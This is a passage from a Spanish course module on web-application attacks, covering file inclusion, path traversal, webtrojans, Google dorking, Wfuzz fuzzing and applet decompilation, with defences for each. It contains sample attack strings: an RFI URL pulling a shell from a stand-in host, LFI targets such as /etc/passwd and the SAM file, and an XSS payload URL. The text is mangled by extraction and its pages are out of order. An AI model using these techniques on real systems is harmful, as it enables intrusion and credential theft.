vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web
bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se
menciona Nos encontramos con una paacutegina web que dispone de busca-
dor el cual al introducir una palabra inventada o una cadena aleatoria de
caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados
para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en
el campo de buacutesqueda
Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-
cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es
vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten
no son permanentes
XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo
Javascript en una aplicacioacuten web lo que permite realizar una serie de
acciones maliciosas en la misma
Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-
nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que
anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo
se ha escrito en alguacuten campo donde queda almacenado en una base de datos
de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina
Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En
estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque
Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute
ser algo similar a
httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt
Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga
clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea
ya a otro aacutembito de estudio como es la ingenieriacutea social
111 Ataques
Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que
pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-
mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante
y las funcionalidades de la aplicacioacuten objetivo del ataque
bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-
rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha
logrado que un usuario administrador ejecute nuestro coacutedigo Javascript
las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible
por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a
generar una cuenta de administrador con los datos que nosotros especifi-
CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web
quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de
administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil
especiacutefico del usuario en el sitio web
bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing
Mediante Javascript como hemos visto podemos modificar el comporta-
miento y la apariencia de una paacutegina web Esto permite crear un formula-
rio de login falso o redirigir el submit de uno existente hacia un dominio
de nuestro control
bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-
nicas que explotan vulnerabilidades XSS
bull Por otra parte aunque menos habitual es posible realizar un ataquedede-
negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)
Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-
gan un uso intensivo de recursos muy costosos en ancho de banda o ca-
pacidad de procesamiento de un servidor de forma asiacutencrona
bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga
dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-
cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red
social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo
Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita
otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-
cacioacuten en los perfiles afectados
Como se puede comprobar las posibilidades que ofrece el XSS son realmen-
te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar
coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no
permite el acceso a ficheros del sistema y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque
112 Meacutetodos para introducir XSS (cross site scripting)
Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-
cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas
de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo
malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las
